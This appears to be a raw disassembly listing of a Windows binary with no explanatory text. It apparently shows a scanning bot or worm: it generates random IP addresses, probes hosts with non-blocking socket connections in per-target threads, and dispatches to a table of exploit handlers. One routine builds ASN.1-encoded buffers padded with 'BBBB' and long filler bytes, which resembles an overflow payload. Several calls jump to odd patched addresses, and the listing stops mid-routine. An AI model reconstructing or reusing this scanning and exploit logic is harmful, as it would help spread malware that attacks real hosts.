call sub_415CEE
pop ecx
loc_40C126: ; CODE XREF: sub_40BD7C+2A8j
mov eax, [ebp+arg_130]
loc_40C12C: ; CODE XREF: sub_40BD7C+298j
shl eax, 6
cmp dword_431818[eax], ebx
jz loc_40C24E
push 3
call sub_40B5F5
test eax, eax
pop ecx
jnz loc_40C24E
mov esi, offset dword_4CBCE4
push 104h
push esi
push ebx
nop
call near ptr 2670000h
push 5Ch
push esi
call sub_41C5B0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C16D
mov [eax], bl
loc_40C16D: ; CODE XREF: sub_40BD7C+3EDj
mov eax, dword_42907C
mov dword_4CBDFC, ebx
mov dword_4CBDE8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CBA5C
call sub_41C006
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CBA58, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CBDE8
mov dword_4CBDF4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CBDF8, ecx
call sub_40A9FA
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42C190
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B3AD
add esp, 20h
mov dword_4CBDF0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CBA58
push offset sub_40FAA3
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, dword_4CBDF0
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_40C226
loc_40C214: ; CODE XREF: sub_40BD7C+4A8j
cmp dword_4CBE04, ebx
jnz short loc_40C241
push 32h
nop
call near ptr 268051Bh
jmp short loc_40C214
; ---------------------------------------------------------------------------
loc_40C226: ; CODE XREF: sub_40BD7C+496j
call near ptr 2680DCDh
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431D5C
push eax
call sub_41C006
add esp, 0Ch
loc_40C241: ; CODE XREF: sub_40BD7C+49Ej
lea eax, [ebp+var_204]
push eax
call sub_415CEE
pop ecx
loc_40C24E: ; CODE XREF: sub_40BD7C+14j
; sub_40BD7C+25j ...
pop esi
pop ebx
leave
retn
sub_40BD7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C252 proc near ; CODE XREF: sub_40C3D3:loc_40C444p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4C9450h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41CAB0
add esp, 0Ch
push [ebp+arg_0]
call dword_4C922C
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4C9300
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41CAB0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C29A proc near ; CODE XREF: sub_40C3D3+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B960
cmp eax, 0Fh
pop ecx
jbe short loc_40C2C2
xor eax, eax
jmp short loc_40C333
; ---------------------------------------------------------------------------
loc_40C2C2: ; CODE XREF: sub_40C29A+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41CA73
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C2EF
call sub_41C062
mov [ebp+var_C], eax
loc_40C2EF: ; CODE XREF: sub_40C29A+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C2FC
call sub_41C062
mov [ebp+var_8], eax
loc_40C2FC: ; CODE XREF: sub_40C29A+58j
cmp [ebp+var_4], esi
jnz short loc_40C309
call sub_41C062
mov [ebp+var_4], eax
loc_40C309: ; CODE XREF: sub_40C29A+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C315
call sub_41C062
loc_40C315: ; CODE XREF: sub_40C29A+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4C9450[ecx*8], eax
loc_40C333: ; CODE XREF: sub_40C29A+26j
pop esi
leave
retn
sub_40C29A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C336 proc near ; CODE XREF: ___:0040BBADp
; sub_40C3D3+B8p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4C9384
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C35F
xor eax, eax
jmp short loc_40C3CE
; ---------------------------------------------------------------------------
loc_40C35F: ; CODE XREF: sub_40C336+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4C9304
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4C93A0
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4C92AC
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4C92EC
push esi
mov edi, eax
call dword_4C939C
xor eax, eax
cmp edi, ebx
setnle al
loc_40C3CE: ; CODE XREF: sub_40C336+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C336 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3D3 proc near ; DATA XREF: sub_40C3D3+34Fo
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 26A0729h
push eax
call sub_41C058
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C41A: ; CODE XREF: sub_40C3D3+200j
mov eax, dword_43C244[ebx]
cmp dword_4C9454[eax*8], 0
jz loc_40C5D8
cmp [ebp+var_10], 0
push eax
jz short loc_40C444
lea eax, [ebp+var_150]
push eax
call sub_40C29A
pop ecx
jmp short loc_40C449
; ---------------------------------------------------------------------------
loc_40C444: ; CODE XREF: sub_40C3D3+60j
call sub_40C252
loc_40C449: ; CODE XREF: sub_40C3D3+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43C244[ebx]
push [ebp+var_3C]
push edi
call dword_4C9390
push eax
lea eax, [ebp+var_28C]
push offset unk_431EBC
push eax
call sub_41C006
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43C040[ebx]
push eax
call sub_41C006
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C336
add esp, 2Ch
cmp eax, 1
jnz loc_40C5C8
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C51D
push offset dword_4CB450
nop
call near ptr 77F7E21Fh
push [ebp+var_3C]
push edi
call dword_4C9390
push eax
lea eax, [ebp+var_28C]
push offset unk_431E94
push eax
call sub_41C006
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C4FF
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C4F3
lea eax, [ebp+var_140]
loc_40C4F3: ; CODE XREF: sub_40C3D3+118j
push eax
push [ebp+var_40]
call sub_409862
add esp, 14h
loc_40C4FF: ; CODE XREF: sub_40C3D3+FDj
lea eax, [ebp+var_28C]
push eax
call sub_415CEE
mov [esp+29Ch+var_29C], offset dword_4CB450
nop
call near ptr 77F7E300h
jmp loc_40C5C8
; ---------------------------------------------------------------------------
loc_40C51D: ; CODE XREF: sub_40C3D3+CDj
push edi
call dword_4C9390
push eax
lea eax, [ebp+var_208]
push eax
call sub_41C006
mov eax, [ebp+var_20]
shl eax, 6
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41C006
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40C561
lea eax, [ebp+var_140]
loc_40C561: ; CODE XREF: sub_40C3D3+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41C006
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_43180C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C5C8: ; CODE XREF: sub_40C3D3+C3j
; sub_40C3D3+145j
push 7D0h
call near ptr 268051Bh
nop
jmp loc_40C41A
; ---------------------------------------------------------------------------
loc_40C5D8: ; CODE XREF: sub_40C3D3+55j
push esi
call sub_40B6C9
pop ecx
push 0
nop
call near ptr 26F0000h
loc_40C5E7: ; DATA XREF: sub_401AC7+1F1Ao
; sub_401AC7+5BC4o
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4C9344
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4C9450[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BD7C
push 0Bh
call sub_40B5F5
add esp, 150h
cmp eax, ebx
jnz short loc_40C6B5
mov esi, offset dword_4CB450
push esi
call near ptr 26F0716h
nop
push 80000400h
push esi
nop
call near ptr 26F05B2h
test eax, eax
jnz short loc_40C6B5
lea eax, [ebp+var_1CC]
push offset unk_431FA0
push eax
call sub_41C006
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C69F
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409862
add esp, 14h
loc_40C69F: ; CODE XREF: sub_40C3D3+2ADj
lea eax, [ebp+var_1CC]
push eax
call sub_415CEE
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C6B5: ; CODE XREF: sub_40C3D3+277j
; sub_40C3D3+293j
mov eax, [ebp+var_2C]
mov esi, dword_427088
mov edi, ebx
mov dword_4C9454[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C782
loc_40C6D3: ; CODE XREF: sub_40C3D3+3A9j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_431F6C
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B3AD
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43C244[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C3D3
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_40C74D
loc_40C742: ; CODE XREF: sub_40C3D3+378j
cmp [ebp+var_4], ebx
jnz short loc_40C774
push 1Eh
call esi
jmp short loc_40C742
; ---------------------------------------------------------------------------
loc_40C74D: ; CODE XREF: sub_40C3D3+36Dj
call near ptr 2680DCDh
nop
push eax
lea eax, [ebp+var_1CC]
push offset unk_431F34
push eax
call sub_41C006
lea eax, [ebp+var_1CC]
push eax
call sub_415CEE
add esp, 10h
loc_40C774: ; CODE XREF: sub_40C3D3+372j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C6D3
loc_40C782: ; CODE XREF: sub_40C3D3+2FAj
cmp [ebp+var_30], ebx
jz loc_40C82C
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40C797: ; CODE XREF: sub_40C3D3+464j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4C9450[eax*8]
push eax
call dword_4C9390
push eax
lea eax, [ebp+var_1CC]
push offset unk_431EF4
push eax
call sub_41C006
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C7E5
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409862
add esp, 14h
loc_40C7E5: ; CODE XREF: sub_40C3D3+3F3j
lea eax, [ebp+var_1CC]
push eax
call sub_415CEE
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4C9454[eax*8], ebx
call esi
push 0Bh
call sub_40B5F5
cmp eax, 1
pop ecx
jnz short loc_40C81C
push offset dword_4CB450
call near ptr 26F0716h
nop
loc_40C81C: ; CODE XREF: sub_40C3D3+43Cj
push [ebp+var_2C]
call sub_40B6C9
pop ecx
push ebx
nop
call near ptr 26F0000h
loc_40C82C: ; CODE XREF: sub_40C3D3+3B2j
; sub_40C3D3+471j
mov eax, [ebp+var_2C]
cmp dword_4C9454[eax*8], 1
jnz loc_40C797
push 7D0h
call esi
jmp short loc_40C82C
sub_40C3D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C846 proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BD10
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4C9304
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4C9384
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C904
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4C92AC
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43C24C[ecx], esi
jz short loc_40C904
push [ebp+var_38]
push [ebp+var_28]
call dword_4C9390
push eax
mov edi, offset dword_4CBE14
push offset dword_431FD4
push edi
call sub_41C006
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409862
push edi
call sub_415CEE
add esp, 28h
loc_40C904: ; CODE XREF: sub_40C846+5Dj
; sub_40C846+7Ej
push esi
call dword_4C939C
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C846 endp
; ---------------------------------------------------------------------------
byte_40C913 db 55h ; DATA XREF: sub_401AC7+5FA4o
dd 0EC81EC8Bh, 134h, 85D8B53h, 2B6A5756h, 8D59F38Bh, 0FFFF4CBDh
dd 8BA5F3FFh, 42708835h, 0A483C700h, 1000000h, 33000000h
dd 0D075FFFFh, 0FFE075FFh, 4C939015h, 858D5000h, 0FFFFFECCh
dd 431FFC68h, 0A7E85000h, 8D0000F6h, 0FFFECC85h, 1FF68FFh
dd 8B500000h, 0C069DC45h, 234h, 43C04005h, 0F1E85000h
dd 830000F3h, 458D1CC4h, 858D50F8h, 0FFFFFF4Ch, 46685057h
dd 570040C8h, 2AE89057h, 3B02273Ch, 0FC4589C7h, 7D390B74h
dd 6A0675F4h, 0EBD6FF32h, 0FC75FFF5h, 364AE890h, 0B3FF0225h
dd 8Ch, 0A8BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 0DDE85008h
dd 83000100h, 75FF0CC4h, 2C15FF08h, 40004C92h, 8458950h
dd 930015FFh, 4589004Ch, 8458D08h, 8D50046Ah, 0E850E045h
dd 100B4h, 0E90CC483h, 0FFFFFF3Dh
dword_40CA04 dd 81EC8B55h, 130ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
; DATA XREF: sub_401AC7+5CCAo
dd 0FF50BD8Dh, 0A5F3FFFFh, 7088358Bh, 83C70042h, 0A4h
dd 1, 75FFFF33h, 0E475FFD4h, 939015FFh, 8D50004Ch, 0FFFED085h
dd 205068FFh, 0E8500043h, 0F5B6h, 0FED0858Dh, 0FF68FFFFh
dd 50000001h, 69E0458Bh, 234C0h, 0C0400500h, 0E8500043h
dd 0F300h, 8D1CC483h, 8D50FC45h, 0FFFF5085h, 685057FFh
dd 40C846h, 0E8905757h, 2273B39h, 4589C73Bh, 390B7408h
dd 675F87Dh, 0D6FF326Ah, 75FFF5EBh, 59E89008h, 0FF022535h
dd 8CB3h, 0A8BB8900h, 0FF000000h, 0D4458BD6h, 74D8453Bh
dd 0D445FF08h, 0FFFF6DE9h, 0E475FFFFh, 939015FFh, 8D50004Ch
dd 0FFFED085h, 202468FFh, 0E8500043h, 0F526h, 0D0858D57h
dd 0FFFFFFFEh, 8D50EC75h, 0FFFF5485h, 0B5FF50FFh, 0FFFFFF50h
dd 0FFCD65E8h, 0E075FFFFh, 0FFEBC4E8h, 24C483FFh, 5E5FC033h
dd 4C2C95Bh
db 0
; =============== S U B R O U T I N E =======================================
sub_40CB11 proc near ; CODE XREF: sub_40CD85+Ep
; sub_40CD85+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40CB11 endp
; =============== S U B R O U T I N E =======================================
sub_40CB1B proc near ; CODE XREF: sub_40CD85+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41BC9B
mov edi, eax
pop ecx
test edi, edi
jz short loc_40CB4D
push ebx
push 0
push edi
call sub_41BD10
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41CAB0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40CB4D: ; CODE XREF: sub_40CB1B+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CB1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB55 proc near ; CODE XREF: sub_40CC4F+18p
; sub_40CCC9+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41BC9B
mov esi, eax
pop ecx
test esi, esi
jz short loc_40CBA1
push edi
push 0
push esi
call sub_41BD10
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41CAB0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41CAB0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40CBA1: ; CODE XREF: sub_40CB55+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40CB55 endp
; =============== S U B R O U T I N E =======================================
sub_40CBAA proc near ; CODE XREF: sub_40CC4F+5Ep
; sub_40CC4F+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40CBBA
push eax
call sub_41BA31
pop ecx
loc_40CBBA: ; CODE XREF: sub_40CBAA+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40CBAA endp
; =============== S U B R O U T I N E =======================================
sub_40CBC3 proc near ; CODE XREF: sub_40CC4F+20p
; sub_40CD2A+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40CBF0
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41BC9B
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CBF4
loc_40CBF0: ; CODE XREF: sub_40CBC3+Dj
xor al, al
jmp short loc_40CC4B
; ---------------------------------------------------------------------------
loc_40CBF4: ; CODE XREF: sub_40CBC3+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41BD10
add esp, 0Ch
cmp ebx, 1
jnz short loc_40CC19
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40CC33
; ---------------------------------------------------------------------------
loc_40CC19: ; CODE XREF: sub_40CBC3+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40CC33: ; CODE XREF: sub_40CBC3+54j
push eax
call sub_41CAB0
add esp, 0Ch
push dword ptr [esi]
call sub_41BA31
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40CC4B: ; CODE XREF: sub_40CBC3+2Fj
pop edi
pop esi
pop ebx
retn
sub_40CBC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC4F proc near ; CODE XREF: sub_40CD85+89p
; sub_40CD85+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset word_4C91BC
call sub_40CB55
lea ecx, [ebp+var_8]
call sub_40CBC3
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BC9B
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CC89
xor al, al
jmp short loc_40CCC5
; ---------------------------------------------------------------------------
loc_40CC89: ; CODE XREF: sub_40CC4F+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41BD10
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41CAB0
add esp, 18h
mov ecx, esi
call sub_40CBAA
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40CBAA
mov al, 1
loc_40CCC5: ; CODE XREF: sub_40CC4F+38j
pop edi
pop esi
leave
retn
sub_40CC4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCC9 proc near ; CODE XREF: sub_40CCFD+14p
; sub_40CD1A+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40CB55
mov ecx, esi
call sub_40CBAA
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CCC9 endp
; =============== S U B R O U T I N E =======================================
sub_40CCFD proc near ; CODE XREF: sub_40CD85+F0p
; sub_40CD85+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B960
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CCC9
pop esi
retn 4
sub_40CCFD endp
; =============== S U B R O U T I N E =======================================
sub_40CD1A proc near ; CODE XREF: sub_40CD66+Bp
; sub_40CD85+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CCC9
retn 8
sub_40CD1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD2A proc near ; CODE XREF: sub_40CD66+16p
; sub_40CD85+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40CBC3
test al, al
jz short loc_40CD63
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42CC8C
call sub_40CB55
mov ecx, esi
call sub_40CBAA
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CD63: ; CODE XREF: sub_40CD2A+Fj
pop esi
leave
retn
sub_40CD2A endp
; =============== S U B R O U T I N E =======================================
sub_40CD66 proc near ; CODE XREF: sub_40CD85+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CD1A
test al, al
jz short loc_40CD81
mov ecx, esi
call sub_40CD2A
loc_40CD81: ; CODE XREF: sub_40CD66+12j
pop esi
retn 8
sub_40CD66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD85 proc near ; CODE XREF: ___:0040D60Cp
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40CB11
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40D0D9
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40D0D9
push esi
lea ecx, [ebp+var_30]
call sub_40CB11
lea ecx, [ebp+var_20]
call sub_40CB11
lea ecx, [ebp+var_50]
call sub_40CB11
lea ecx, [ebp+var_18]
call sub_40CB11
lea ecx, [ebp+var_40]
call sub_40CB11
lea ecx, [ebp+var_38]
call sub_40CB11
lea ecx, [ebp+var_28]
call sub_40CB11
push 4
push offset dword_432088
lea ecx, [ebp+var_30]
call sub_40CCC9
push 3
push offset dword_432090
lea ecx, [ebp+var_30]
call sub_40CCC9
lea ecx, [ebp+var_30]
call sub_40CC4F
lea ecx, [ebp+var_30]
call sub_40CD2A
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41BD10
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CCC9
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CCC9
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CCC9
lea ecx, [ebp+var_20]
call sub_40CC4F
push offset loc_43240C
lea ecx, [ebp+var_50]
call sub_40CCFD
lea ecx, [ebp+var_50]
call sub_40CC4F
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41BD10
add esp, 0Ch
